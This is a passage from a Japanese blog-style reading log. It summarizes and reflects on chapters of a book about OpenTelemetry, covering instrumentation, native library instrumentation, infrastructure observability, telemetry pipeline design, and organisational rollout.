SDKの動的な設定変更が可能になり、再起動やデプロイを必要とせずに設定を最適化できるようになるでしょう。github.comリソース属性の設定も重要なトピックの1つです。リソースは、テレメトリが収集される環境を定義する属性のセットで、サービス、仮想マシン、プラットフォーム、リージョン、クラウドプロバイダーなど、問題の特定に必要なコンテキスト情報を提供します。リソース属性の多くは、resource detectorと呼ばれるプラグインを使って自動的に収集できます。Kubernetes、AWS、GCP、Azureなど、一般的な環境の情報は、ほとんどの場合、resource detectorでカバーされています。一方、service.name、service.namespace、service.instance.id、service.versionなど、アプリケーション固有のリソース属性は、手動で設定する必要があります。これらの属性は、アプリケーションの動作を理解し、問題の切り分けを行ううえで欠かせない情報となります。OpenTelemetryの計装のベストプラクティス計装の設定では、OSSライブラリの自動計装が鍵となります。フレームワークやデータベースクライアントなど、一般的なライブラリの多くは、OpenTelemetryの計装を提供しているため、これらを活用することで、アプリケーションコードへの変更を最小限に抑えつつ、豊富なテレメトリデータを収集できます。一方、ビジネスロジックに特化した情報を取得するためには、手動での計装が必要になるでしょう。手動の計装を行う際は、新しいスパンを追加するのではなく、既存のスパンにアプリケーション固有の属性を付与することが推奨されています。これにより、スパンの数を抑えつつ、より意味のある情報を取得することができます。また、計装の粒度を適切に設定することが重要です。関数ごとにスパンを作成したり、コードの行ごとにログを出力したりすることは、必ずしも適切とは言えません。OpenTelemetryを導入する際は、まずは自動計装で提供されるテレメトリから始め、必要に応じて段階的に計装を追加していくのが賢明だと著者は述べています。ヒストグラムメトリックの活用も推奨されています。特に、指数関数バケットヒストグラム(Exponential Bucket Histogram)は、スケールと範囲が異なる測定値を自動的に調整し、集計することができるため、サービスのパフォーマンス分析に非常に役立ちます。これにexemplarを組み合わせることで、統計情報とトレースの紐付けが可能になり、より詳細な分析が行えるようになります。opentelemetry.io特に、自動計装とカスタム計装のバランス、適切なサンプリングとエクスポーターの設定、リソース属性の付与、ヒストグラムメトリックの活用など、具体的な手法については、実践的な示唆に富んでいました。これらを参考に、自社のアプリケーションにおけるOpenTelemetryの設定を最適化していきたいと思います。OpenTelemetryの導入に向けた考察また、OpAMPに代表されるリモート設定の動向にも注目したいと考えています。動的な設定変更は、運用の柔軟性を高め、コストの最適化にもつながる重要な技術だと感じました。opentelemetry.io一方で、OpenTelemetryの導入にはある程度の学習コストが伴うことも事実です。特に、大規模な分散システムでは、多数のサービスに対して計装を行う必要があり、複数の開発チームが関わることもあるでしょう。そのため、1つのアプリケーションでの導入が成功した後は、セットアップ手順やベストプラクティスをパッケージ化し、社内で共有することが重要だと感じました。OpenTelemetryへの移行は、一時的なコストを伴うかもしれません。しかし、一度移行が完了すれば、ベンダーロックインから解放され、あらゆる可観測システムと連携できるようになります。長期的な視点に立てば、OpenTelemetryは明らかに投資に値するテクノロジーだと言えるでしょう。個人的には、2年前に調査した時に比べてOpenTelemetryの自動計装機能の充実ぶりに感銘を受けました。フレームワークやライブラリレベルでの計装が進むことで、アプリケーション開発者の負担が大幅に軽減されるでしょう。今後は、社内の共通ライブラリへのOpenTelemetry組み込みも検討していきたいと考えています。また、リソース属性の重要性も再認識させられました。特に、service.nameやservice.versionなどの属性は、問題の切り分けに欠かせない情報です。これらの属性を確実に設定することで、障害対応の効率化が期待できます。ヒストグラムメトリックとexemplarの組み合わせも、非常に興味深い手法だと感じました。レイテンシの分布と、各バケットに対応するトレースを関連付けられることで、パフォーマンスの問題を細かく分析できるようになります。OpenTelemetryは、アプリケーションの可観測性を飛躍的に向上させる技術であり、SREにとって必須のスキルセットになりつつあります。本章で得た知識を活かし、自社のアプリケーションにOpenTelemetryを適切に導入することで、より堅牢で可観測性の高いシステムを構築していきたいと思います。可観測性の向上は、単なる技術的な問題ではなく、ビジネスの成功に直結する重要な課題です。OpenTelemetryを活用することで、システムの動作を正確に把握し、パフォーマンスの問題や障害の兆候を早期に検出できるようになります。そのような高度な可観測性を実現することが、私たちSREに課せられた使命だと感じています。本章で学んだ知識を基盤に、次章ではOpenTelemetryのライブラリへの組み込み方法が説明されるようです。アプリケーションと合わせて、ライブラリレベルでの計装を進めることで、より網羅的で詳細な可観測が可能になるでしょう。引き続き、OpenTelemetryの実践的な活用方法を学んでいきたいと思います。Chapter 6. Instrumenting Libraries本章 を読んで、ライブラリへのOpenTelemetryの組み込みが、可観測性の向上に果たす重要な役割について理解を深めることができました。冒頭の \\"The price of reliability is the pursuit of the utmost simplicity. It is a price which the very rich find most hard to pay.\\" という言葉が印象的でした。信頼性を追求するには、究極のシンプルさが必要であり、それは多くの人にとって難しいことだというメッセージが込められています。ライブラリの設計においても、可観測性を考慮に入れることで、シンプルさと信頼性の両立を目指すことができるのだと感じました。ライブラリの重要性と可観測性の意義本章では、まずライブラリの重要性について説明されています。ほとんどのアプリケーションでは、リソースの大部分がライブラリ内で消費されていることが指摘されています。アプリケーションコード自体はリソースをほとんど消費せず、代わりにライブラリコードにリソースの利用を指示します。したがって、本番環境での問題を調査する際には、ライブラリの利用パターンに着目することが重要になります。Figure 6-1. Serial database calls (top) that could be replaced by parallel calls (bottom) to significantly reduce latency より引用上図は、データベースへのシリアルなコールをパラレルなコールに置き換えることで、レイテンシを大幅に削減できる例を示しています。このように、ライブラリの利用方法を最適化することが、アプリケーションのパフォーマンス向上に直結することがわかります。それでは、なぜライブラリの開発者自身が計装を行うべきなのでしょうか。著者は、これをネイティブ計装(Native Instrumentation)と呼び、サードパーティによる従来の計装方法よりも優れていると主張しています。ネイティブ計装には、いくつかの利点があります。まず、ユーザーがOpenTelemetryを導入した瞬間から、すべてのライブラリで自動的に可観測性が有効になることです。これにより、可観測性システムのセットアップにおける障壁が大幅に下がります。また、ネイティブ計装によって、ライブラリの開発者はユーザーとのコミュニケーションを促進できます。テレメトリデータを通じて、ライブラリの構造や動作を説明したり、ユーザーに警告やアドバイスを提供したりすることが可能になります。ドキュメントやプレイブック、ダッシュボードやアラートなどを充実させることで、ユーザーはライブラリをより効果的に利用できるようになるでしょう。さらに、ネイティブ計装は、ライブラリの開発者がパフォーマンスを重視していることを示す強力なシグナルにもなります。可観測性をテストの一環として捉え、開発プロセスに組み込むことで、ライブラリの品質向上が期待できます。OpenTelemetryによるライブラリ計装の課題解決一方で、これまでライブラリの計装があまり進んでこなかった理由として、コンポジションの問題とトレーシングの課題が挙げられています。Figure 6-2. There is no right answer when different applications use different observability systems より引用上図のように、アプリケーションごとに異なる可観測性システムが使われている状況では、ライブラリの開発者にとって適切な選択肢がないことがわかります。特にトレーシングは、ライブラリ間でコンテキストを伝播させる必要があるため、すべてのライブラリが同じトレーシングシステムを使用しなければ機能しません。こうした課題を解決するために、OpenTelemetryはライブラリの計装をサポートするための様々な工夫を取り入れています。まず、OpenTelemetryは計装用のAPIと実装を分離しています。これにより、ライブラリの開発者はAPIを使って計装を行い、アプリケーションの開発者はSDKを設定するという、役割の明確化が図られます。またAPIは最小限の依存関係しか持たないため、依存関係の競合を避けることができます。次に、OpenTelemetryのAPIは下位互換性を維持しています。APIのメジャーバージョンが頻繁に更新されると、ライブラリ間の互換性が失われてしまいます。そこでOpenTelemetryでは、安定版のAPIをv1.0としてリリースし、v2.0を出す予定はないとしています。これにより、既存の計装が将来にわたって機能することが保証されます。さらに、OpenTelemetryの計装はデフォルトでオフになっていることも重要なポイントです。 Figure 6-4. Non-native instrumentation requires a lot of configuration より引用Figure 6-5. All native instrumentation is automatically enabled as soon as the SDK is installed より引用上図を比較すると、ネイティブ計装ではSDKを登録するだけですべてのライブラリから自動的にテレメトリを受信できるのに対し、非ネイティブな計装では各ライブラリに対して個別の設定が必要になることがわかります。これは、ユーザーにとって大きな負担となります。ライブラリ計装のベストプラクティスと今後の展望本章の後半では、ライブラリの計装における具体的なベストプラクティスが紹介されています。ライブラリの開発者は、以下のようなチェックリストに沿って計装を行うことが推奨されます。OpenTelemetryをデフォルトで有効にするAPIをラップしない既存のセマンティック規約を使用する必要に応じて新しいセマンティック規約を作成するAPIパッケージのみをインポートするライブラリをメジャーバージョン番号にピン留めする包括的なドキュメントを提供するパフォーマンステストを実施し、結果を共有するまた、データベースやプロキシ、メッセージングシステムなどの共有サービスについては、以下の点にも留意すべきだとしています。OpenTelemetryの設定ファイルを使用するデフォルトでOTLPを出力するローカルのCollectorをバンドルする本章で紹介されたベストプラクティスは非常に参考になりました。特に、ネイティブ計装の重要性と、それを実現するためのOpenTelemetryの設計思想は、深く理解しておくべき点だと感じました。自社で開発しているライブラリにOpenTelemetryを組み込むことで、アプリケーションの可観測性を飛躍的に高められるはずです。その際は、本章のチェックリストを活用し、ユーザーにとって使いやすく、パフォーマンスに優れた計装を心がけたいと思います。また、オープンソースのライブラリについても、積極的にコントリビューションしていきたいと考えています。ライブラリのメンテナーと協力し、ネイティブ計装の普及に貢献できればと思います。さらに、共有サービスについても、OpenTelemetryを活用した可観測性の向上が期待できます。特に、Kubernetesなどのコンテナプラットフォームとの連携は、運用の効率化に大きく寄与するでしょう。本章を通じて、改めてライブラリの重要性と、その計装の難しさについて認識を新たにしました。というか言うは易く行うは難しだなって思いました。OpenTelemetryは、これまで困難だったライブラリの可観測性を、エレガントかつ実践的な方法で実現するためのプロジェクトだと言えます。著者が理想として掲げている、\\"In five years, we’d like developers to be thinking of runtime observability as being just as important as testing.:5年後にはテストと同じぐらい実行時の可観測性が重要だと開発者が考えるようになる\\"という未来。その実現に向けて、私もOpenTelemetryコミュニティに参加し、微力ながら貢献していきたいと思います。Chapter 7. Observing Infrastructure本章を読んで、クラウドネイティブな環境におけるインフラストラクチャの可観測性の重要性と、OpenTelemetryを活用した具体的な手法について理解を深めることができました。冒頭の \\"We build our computer systems the way we build our cities: over time, without a plan, on top of ruins.\\" という言葉が印象的でした。複雑化するソフトウェアシステムは、計画性のない都市の発展と同じように、ruins(廃墟)の上に継ぎ接ぎで構築されているという比喩は的を射ていると感じました。インフラストラクチャの可観測性は、そのような複雑なシステムを理解し、制御するための重要な手段だと改めて認識させられました。本章では、まずインフラストラクチャ可観測性の定義と意義について説明されています。インフラストラクチャの可観測性とは、単なるリソース使用率のモニタリングではなく、アプリケーションのテレメトリデータとインフラストラクチャのメトリクスを関連付けることで、システム全体の動作を把握する取り組みだと言えます。著者は、インフラストラクチャのシグナルを収集する際の2つの重要な問いを提示しています。アプリケーションのシグナルとインフラストラクチャのシグナルの間にコンテキストを確立できるか?これらのシステムを可観測性を通じて理解することが、特定のビジネス/技術的な目標の達成に役立つか?この2つの問いに対する答えがNoである場合、そのシグナルを可観測性フレームワークに組み込む必要はないと指摘しています。可観測性に組み込むべきシグナルを見極めることが、効果的なインフラストラクチャ可観測性戦略の鍵となるのです。クラウドプロバイダーのテレメトリデータの収集と活用続いて、クラウドプロバイダーからのテレメトリデータの収集方法について詳しく解説されています。クラウドプロバイダーは、膨大な量のメトリクスとログを提供しますが、そのすべてが可観測性に有用とは限りません。著者は、クラウドテレメトリを \\"iceberg\\" に例えています。Figure 7-1. The cloud telemetry iceberg より引用OpenTelemetryはこれらのシグナルをすべて収集することができますが、全体的なモニタリングの姿勢にどのように適合するかを考える必要があります。例えば、単一のインスタンスの稼働状況は、分散システムの全体像を把握する上では限定的な意味しか持ちません。しかし、そのイベントをAPI Gatewayのルーティングの問題と関連付けることができれば、ユーザーリクエストのパフォーマンス低下の診断に役立つでしょう。個々のシグナルが単独では価値がなくても、全体的な可観測性戦略の一部として捉えることが重要なのです。クラウドメトリクスとログの収集には、主にOpenTelemetry Collectorが使用されます。著者は、本番環境へのデプロイメントにあたって、Collector Builderを使ってカスタムビルドを生成することを推奨しています。これにより、必要なレシーバー、エクスポーター、プロセッサーのみを組み込んだ最適化されたCollectorを構築できます。また、属性の設定では、パイプラインの早い段階で \\"too many\\" の側に寄せることが推奨されています。必要のないデータを後から捨てる方が、存在しないデータを追加するよりも簡単だからです。ただし、新しいdimensionを追加すると、メトリックデータベースが保存する時系列の数が劇的に増加する cardinality explosion を引き起こす可能性があるため、後段でメトリックをallow-listingすることで制御する必要があります。Collectorのデプロイメントアーキテクチャとしては、複数のアグリゲーターやテクノロジーからのテレメトリを統合する \\"gateway\\" 方式が紹介されています。Figure 7-2. A “gateway” deployment of the Collector monitoring a Kubernetes node, where Prometheus and FluentD scrape metrics and logs and then send them to external Collectors that process any signal より引用さらに発展させたアーキテクチャでは、各コンポーネントが独立したCollectorを持ち、シグナルタイプごとに水平にスケールできるようになっています。Figure 7-3. A “gateway” deployment of the Collector, much like Figure 7-2, but instead of all telemetry being sent to the same pool of collectors, different signal types are emitted to specialized pools of collectors より引用また、Collectorのパフォーマンスをモニタリングする Metamonitoring の重要性についても言及されています。Collectorが公開するメトリクスを監視することで、リミッターによるデータの拒否やキューの容量不足を検知し、スケールアップの判断に活用できます。Kubernetesプラットフォームにおける可観測性次に、Kubernetesプラットフォームにおける可観測性について解説されています。OpenTelemetryは、Kubernetesクラスタ上で稼働するアプリケーションのモニタリングとプロファイリングのためのツール、およびKubernetesコンポーネント自体のテレメトリデータを扱うための手段を提供しています。Kubernetesのテレメトリデータを収集するには、OpenTelemetry Operatorが重要な役割を果たします。OperatorのTarget Allocator (TA)機能を使うことで、クラスタ内のPrometheusエンドポイントを自動検出し、複数のcollector間でスクレープジョブを均等に分散させることができます。または、k8sclusterreceiver、k8seventsreceiver、k8sobjectsreceiver、kubeletstatsreceiverなどのレシーバーを使って、クラスターのメトリクスとログを直接収集することもできます。一方、Kubernetes上で稼働するアプリケーションに対しては、Operatorが提供するカスタムリソースを使って、自動計装パッケージをPodにインジェクトすることができます。これにより、既存のアプリケーションコードにトレース、メトリクス、ログの計装を追加できるようになります。本番環境へのデプロイメントでは、以下のようなアドバイスが示されています。各PodにサイドカーCollectorを配置し、テレメトリの最初の停止点とするシグナルタイプごとにCollectorを分割し、独立してスケールできるようにするテレメトリの作成と設定の関心を明確に分離する(例: リダクションやサンプリングはプロセスではなくCollectorで行う)Kubernetesの次は、サーバーレスプラットフォームの可観測性について説明されています。AWS LambdaやAzure Cloud Functionsなどのサーバーレスプラットフォームは、その利便性と独自の構造から人気を博していますが、一方で可観測性の課題も持ち合わせています。サーバーレスプラットフォームの可観測性サーバーレスの可観測性では、標準的なアプリケーションテレメトリに加えて、呼び出し時間、リソース使用量、コールドスタート時間などに注目する必要があります。これらのメトリクスは、サーバーレスプロバイダーから提供されるはずですが、アプリケーションテレメトリ自体をどのように取得するかは課題となります。OpenTelemetry Lambda Layerなどのツールを使うことで、AWS Lambdaの呼び出しからトレースとメトリクスを効率的にキャプチャできます。ただし、関数がアプリケーションアーキテクチャの中でどのような役割を果たしているかによって、サーバーレスインフラストラクチャを監視するための戦略は異なります。Lambda呼び出しを直接トレースするのをスキップし、属性やSpanイベントを介してLambdaを呼び出し元のサービスにリンクするだけで十分な場合もあるでしょう。その場合、Lambdaのサービスログを使って、障害やパフォーマンスの異常に関する特定の実行を特定し、詳細を取得することができます。非同期ワークフローの可観測性最後に、キュー、サービスバス、その他の非同期ワークフローの可観測性について議論されています。Apache Kafkaのようなイベントやキューベースのプラットフォームを活用するモダンなアプリケーションでは、可観測性にいくつかの興味深い課題が生じます。トランザクションのトレースは、\\"traditional\\" なリクエスト/レスポンスアーキテクチャほど有用ではない場合があります。トランザクションがいつ終了するのかを特定するのが難しいためです。そのため、可観測性の目標、最適化したいこと、最適化できることについて、多くの決定を下す必要があります。著者は、銀行ローンの例を挙げて、ビジネスフローと技術フローの違いを説明しています。Figure 7-4. The business flow of a bank transaction (top) versus its technical flow (bottom) より引用ビジネスフローは比較的シンプルですが、技術フローはパーミュテーションとギャップを考慮する必要があります。ワークフロー図が木というよりも「木の木」のように見える場合は、非同期ワークフローである可能性が高いと指摘しています。このような状況では、高度に非同期なワークフローを1つのトレースとして考えるのではなく、多くのサブトレースとして捉え、カスタムの相関IDやSpanリンクを介してオリジンにリンクすることが推奨されます。例えば、最初のトレースを「プライマリ」トレースと見なし、各トレースの終端Spanを次のルートSpanにリンクさせる方法があります。ただし、非同期トランザクションのすべてのサブトレースが同等に有用なわけではありません。Collectorのフィルタとサンプラーを慎重に使用することで、特定のサブトレースをフィルタリングし、カウントやヒストグラムに変換することができます。これにより、ルートSpanを保持しつつ、関連する作業について正確なカウントとレイテンシーを維持することが可能になります。本章を通じて、インフラストラクチャ可観測性の戦略が、全体的な可観測性の目標に沿って明確かつ簡潔に定義されるべきであることを学びました。アプリケーションやサービスの可観測性とは異なり、仮想マシン、マネージドデータベース、サーバーレステクノロジーを使用したイベント駆動アーキテクチャには、一般的なアプリケーション計装戦略がそのまま適用できるとは限りません。著者が強調しているのは、インフラストラクチャ可観測性の戦略は、システムが生成する可観測性データを使用するための組織的なインセンティブに沿って、全体的な可観測性の目標に基づいて策定されるべきだということです。この点を理解することが、重要なシグナルに焦点を当て、チームが実際に活用できるデータを収集するための鍵となるのです。個人的には、本章で紹介されたOpenTelemetryの各プラットフォームへの統合方法が非常に参考になりました。特に、Kubernetesにおける自動計装の仕組みや、サーバーレスプラットフォームでのLambda Layerの活用法は、実務で即座に役立てられる知見だと感じました。また、非同期ワークフローの可観測性の難しさについても共感を覚えました。ビジネスフローと技術フローのギャップを埋めるために、どのようなテレメトリ設計が求められるのか。著者の提示したアプローチは、非常に示唆に富んでいると思います。本章で得られた知見を活かし、自社のインフラストラクチャ可観測性を見直していきたいと考えています。特に、クラウドプロバイダーから収集するシグナルの取捨選択や、Kubernetes環境におけるOpenTelemetryの活用、サーバーレスアーキテクチャのための計装戦略などは、優先的に取り組むべき課題だと感じました。また、非同期ワークフローの可視化についても、著者の提案を参考にしながら、自社の状況に合った手法を探っていきたいと思います。ビジネス要件とシステムアーキテクチャのギャップを可観測性の力で埋めることができれば、より俊敏で信頼性の高いサービス提供が可能になるはずです。本章のエッセンスは、インフラストラクチャ可観測性の真の目的を見失わないことだと感じました。テレメトリデータの収集や統合は手段であって目的ではありません。あくまでも、ビジネス価値の創出と、エンジニアリング課題の解決に資するものでなくてはならないのです。そのためには、可観測性戦略を練る前に、自組織の目指すゴールを明確にしておく必要があります。そして、そのゴール達成のために、どのようなシグナルが必要で、どのように活用するのかを設計しなければなりません。本章で紹介された数々の手法は、そのための強力な武器になってくれるでしょう。読者諸兄には、ぜひ自組織のインフラストラクチャ可観測性の現状を振り返っていただきたいと思います。収集しているテレメトリデータは、本当にビジネスや技術の意思決定に活用できているでしょうか? OpenTelemetryを導入・活用することで、より効果的で統一的な可観測性を手に入れられるかもしれません。クラウドネイティブ時代のインフラストラクチャ可観測性。それは、複雑さと不確実性に立ち向かうための羅針盤であり、イノベーションを加速させるためのエンジンです。本章で得られた知見を最大限に活用し、自組織の可観測性ジャーニーを着実に前進させていきましょう。Chapter 8. Designing Telemetry Pipelines本章を読んで、テレメトリパイプラインの設計と運用が、可観測性の実現に果たす重要な役割について理解を深めることができました。冒頭の \\"I have always found that plans are useless, but planning is indispensable.\\" という言葉が印象的でした。計画そのものは役に立たないかもしれないが、計画を立てること自体は不可欠だというメッセージには深く共感しました。テレメトリパイプラインの設計においても、綿密な計画と柔軟な対応の両立が求められるのだと感じました。テレメトリパイプラインのトポロジーとCollectorの役割本章では、まずテレメトリパイプラインのトポロジーについて解説されています。システムが小規模な場合は、Collectorを使わずにSDKから直接バックエンドにデータを送信するのが最もシンプルな方法です。Figure 8-1. Applications send telemetry directly to the analysis tool being used より引用しかし、ホストメトリクスの収集やデータの一時的なバッファリングが必要になると、アプリケーションと同じマシン上でCollectorを実行するローカルCollectorの構成が推奨されます。Figure 8-2. Applications send telemetry to a local Collector, which also collects host metrics より引用さらに、大規模なシステムでは、ロードバランサーを使ってトラフィックを分散するCollectorプールを導入することで、バックプレッシャーへの対応や、リソース消費の最適化が可能になります。Figure 8-3. Local Collectors for every application send telemetry to a Collector pool for additional processing and buffering より引用さらに、ゲートウェイとワークロード固有のCollectorプールを組み合わせることで、より複雑なパイプラインを構築できます。Figure 8-4. A pipeline consisting of an egress gateway and several workload-specific Collector pools より引用このような特殊なCollectorプールを作成する理由としては、バイナリサイズの縮小、リソース消費の削減、テールベースのサンプリング、バックエンド固有のワークロード、送信コストの削減などが挙げられています。パイプラインオペレーションの重要性次に、パイプラインオペレーションについて解説されています。フィルタリングとサンプリングは、不要なデータを削除し、データ量を削減するための重要な手段です。フィルタリングは特定のタイプのデータを完全に削除するプロセスであり、サンプリングは統計的に代表的なデータのサブセットを識別し、残りを削除するプロセスです。ただし、著者は、サンプリングは危険であり、慎重に行う必要があると警告しています。サンプリング手法とその設定は、データの量と分析の種類に大きく依存するため、普遍的な答えは存在しません。著者は、自社の分析ツールのベンダーやOSSプロジェクトと相談することなく、サンプリングを実装しないことを強く推奨しています。変換、スクラビング、バージョニングについても詳しく説明されています。属性の変更、機密情報の難読化、セマンティック規約の統一、シグナル間の変換など、テレメトリデータを加工するための様々な手法が紹介されています。特に、OpenTelemetry Transformation Language (OTTL)を使った変換ルールの定義は、柔軟性と可読性に優れていると感じました。github.comまた、プライバシーと地域規制への対応の重要性も指摘されています。テレメトリデータにはPIIが含まれる可能性があるため、データのスクラビングとルーティングを適切に行う必要があります。バッファリングとバックプレッシャーについては、データ損失を避けるためにパイプラインに十分なリソースを確保することが重要だと述べられています。予期せぬトラフィックのスパイクや問題が発生した場合に備えて、データを一時的にメモリに保持するためのバッファリング容量を確保し、必要に応じてリソースを迅速にスケールできるようにしておく必要があります。最後に、データのエクスポートについて解説されています。テレメトリデータをどこにエクスポートするかは、組織のニーズに応じて決定する必要があります。デフォルトのオープンソースの可観測性スタックには、Prometheus、Jaeger、OpenSearch、Grafanaなどが含まれますが、OpenTelemetryをサポートする商用ツールも数多くあります。ルーティングプロセッサを使えば、テレメトリの属性に基づいてデータの送信先を動的に決定することもできます。例えば、有料ユーザーと無料ユーザーのトラフィックを別々のツールに送信するといった使い方が可能です。また、ジョブのステップ数の分布を測定するために、スパンをキューにルーティングしてヒストグラムを作成するといったクリエイティブな方法も提案されています。Collectorのセキュリティと運用本章では、CollectorのセキュリティとKubernetesにおける運用についても言及されています。Collectorは、他のソフトウェアと同様に、セキュリティを考慮して展開・維持する必要があります。具体的には、受信インターフェースのバインド先の制限、SSL/TLSによるデータの暗号化、認証・認可の設定などが推奨されています。opentelemetry.ioKubernetesについては、OpenTelemetry Kubernetes Operatorを使ってCollectorを管理する方法が紹介されています。DaemonSetやSidecarを使ってローカルCollectorを実行したり、DeploymentやStatefulSetを使ってCollectorプールを実行したりできます。また、Operatorを使って、アプリケーションに自動計装を注入し、設定することもできます。github.comテレメトリコストの管理最後に、テレメトリコストの管理について議論されています。テレメトリのコストを管理するための最も一般的なアドバイスは、「重要でないものをモニタリングしないこと」だと著者は述べています。誰も注目していないものを追跡し続ける価値はないのです。オブザーバビリティにはあなたが思っているよりもお金がかかるかもしれない。dev.henry.jpまた、コストと価値のトレードオフを考慮することも重要です。例えば、ユーザーIDなどのカスタムメトリクスは、カーディナリティが高くコストがかかる場合がありますが、特定のユーザーのエクスペリエンスを理解するためには必要不可欠な情報かもしれません。コスト管理の観点からは、データの解像度を最適化する方法を検討するのが良いアプローチだと著者は提案しています。ヒストグラムメトリクスから正確なカウントが得られる場合は、「速い」トレースの収集と保存を控えることで、コストを節約できる可能性があります。また、個々のログ行を大量に取り込むのではなく、収集時に重複を排除し、メトリクスや構造化されたログに変換するのも効果的です。本章を通じて、テレメトリパイプラインの設計と運用が、可観測性の実現において極めて重要な役割を果たすことを再認識しました。単にデータを収集するだけでなく、フィルタリング、サンプリング、変換、バッファリング、エクスポートなど、データを適切に処理し、管理することが求められます。特に、コスト管理とデータの価値のバランスを取ることの難しさについては、示唆に富む議論がなされていました。テレメトリのコストを最小限に抑えつつ、システムの問題を特定し、改善するために必要な情報を確保するには、慎重な判断が必要です。本章で得られた知見を活かし、自社のテレメトリパイプラインの設計と運用を見直していきたいと思います。特に、Collectorのトポロジーの選択、フィルタリングとサンプリングの適用、データ変換ルールの定義、コスト管理戦略の策定などは、優先的に取り組むべき課題だと感じました。テレメトリパイプラインは、単なるデータの通り道ではなく、可観測性の要となるコンポーネントです。その設計と運用に十分な時間と労力を投じることで、システムの動作をより深く理解し、問題の予防と解決に役立てることができるはずです。個人的には、OpenTelemetryの登場によって、テレメトリパイプラインの構築と管理がより容易になったと感じています。かつては、各種ツールやフォーマットの違いに悩まされていましたが、OpenTelemetryがデファクトスタンダードになりつつある今、よりシームレスなデータの統合と処理が可能になりました。一方で、OpenTelemetryの普及に伴い、テレメトリデータの量と種類が爆発的に増加しているのも事実です。その中で、本当に必要なシグナルを見極め、適切に処理していくことが、これまで以上に重要になってくるでしょう。本章で紹介されたベストプラクティスやピットフォールは、そのための指針になるはずです。フィルタリングやサンプリングを適切に行い、変換やエクスポートを戦略的に設計することで、コストと価値のバランスを取りながら、可観測性を最大限に引き出していきたいと思います。可観測性の実現は、単なる技術的な課題ではなく、ビジネスの成功に直結する重要なテーマです。テレメトリパイプラインの設計と運用を通じて、システムの動作を正確に把握し、問題の予兆を早期に検出し、素早く対処することができれば、より信頼性の高いサービスを提供できるようになるはずです。読者諸兄には、ぜひ自社のテレメトリパイプラインの現状を見直してみていただきたいと思います。OpenTelemetryを活用し、データの収集、処理、エクスポートを最適化することで、可観測性のレベルを引き上げられるのではないでしょうか。可観測性の未来を切り拓くOpenTelemetry。テレメトリパイプラインの設計と運用は、その実現に向けた重要な一歩です。本章で得られた知見を糧に、自社のシステムにおける可観測性の向上に取り組んでいきましょう。次章では、OpenTelemetryへの移行戦略について解説されるそうです。レガシーシステムからのスムーズな移行や、組織全体でのオブザーバビリティの文化の醸成など、大規模な導入に向けたヒントが得られるはずです。引き続き、OpenTelemetryの実践的な活用方法を学んでいきたいと思います。Chapter 9. Rolling Out Observability本章を読んで、可観測性の組織への展開における重要な考慮事項と戦略について理解を深めることができました。冒頭の \\"Just because the standard provides a cliff in front of you, you are not necessarily required to jump off it.\\" という言葉が印象的でした。標準が目の前に崖を提供しても、必ずしもそこから飛び降りる必要はないというメッセージには深く共感しました。可観測性の導入においても、標準的なアプローチに盲目的に従うのではなく、自組織の状況に合わせて柔軟に対応することが重要だと感じました。可観測性の真の価値本章では、可観測性の価値について次のように述べられています。可観測性の真の価値は、組織を変革し、ソフトウェアのパフォーマンスがビジネスの健全性にどのように変換されるかについての共通の言語と理解を提供する力にあります。可観測性は信頼や透明性と同じように、価値そのものなのです。可観測性とは、チーム、組織、ソフトウェアシステムを、その結果を解釈、分析、疑問視できるように構築することへのコミットメントなのだと著者は主張しています。この課題は、特定の個人やグループだけのものではありません。データを意思決定のインプットとして活用する方法について、組織全体でコミットメントを得る必要があります。そのために、本章では、OpenTelemetryを実装した組織やプロジェクトのいくつかのケーススタディが紹介され、成功への道筋が示されています。可観測性の展開における3つの軸についても詳しく説明されています。Deep(深さ)対Wide(広さ)Code(コード)対Collection(収集)Centralized(中央集権)対Decentralized(分散)これらの軸は、OpenTelemetryの実装を推進しているのは誰で、組織のどの部分に触れることができるのかという問いに関連しています。Deepアプローチの例として、GraphQLサービスを計装した大規模な金融サービス組織のケースが紹介されています。この組織では、GraphQLのトレースが他のシステムから分離されており、エラーの発生場所や下流への影響を可視化することが困難でした。OpenTelemetryのトレースファーストアプローチは、GraphQLの課題に対処するために非常に有効だったそうです。一方、Wideアプローチの例としては、既存のトレーシングソリューションからOpenTelemetryへの移行を行ったSaaS企業のケースが取り上げられています。この組織では、システムがKubernetes上で動作し、Goで書かれていたため、Wideな移行が容易な判断でした。ただし、移行時には、既存のアラートやダッシュボードが壊れないように注意深く比較する必要があったそうです。Deepな計装は、単一のチーム、サービス、フレームワークに重点を置いています。特に計装ライブラリが存在する場合は、素早く価値を提供できます。カスタムコード(プロパゲーターなど)を使用して、既存のソリューションに統合することもできます。Deepな計装は、大規模な組織や、より大きな可観測性プラクティスが整備されていない組織で始めるのに適しています。一方、Wideな計装は、できるだけ多くのサービスに計装を展開することに注力します。システムアーキテクチャによっては、事前の作業がより多く必要になる場合があります。一般的に、完全な移行、または並行して実行するための手段が必要です。Wideな計装は、全体的なシステムモデルの洞察を提供することで、長期的にはより多くの価値をもたらします。Code対Collectionの軸は、OpenTelemetryエコシステムのどの部分に注力すべきかという問いに関連しています。データの生成に注力するべきか、それとも収集と変換に注力するべきか。理想的には、コードとコレクターの両方を採用し、一方の使用と実装がもう一方を前進させるべきだと著者は述べています。Centralized対Decentralizedの軸は、組織の規模や形状に関係なく、可観測性の展開において考慮すべき重要な側面です。大規模な組織では、中央の可観測性チームがOpenTelemetryの採用を推進することが多いのに対し、小規模な組織では、個々のサービスチームが浸透によって採用を広めることが多いそうです。OpenTelemetryの展開における3つの格言著者は、OpenTelemetryの展開における3つの格言を示しています。Do no harm, break no alerts.(害を与えず、アラートを壊さない)Prioritize value.(価値を優先する)Don\'t forget the 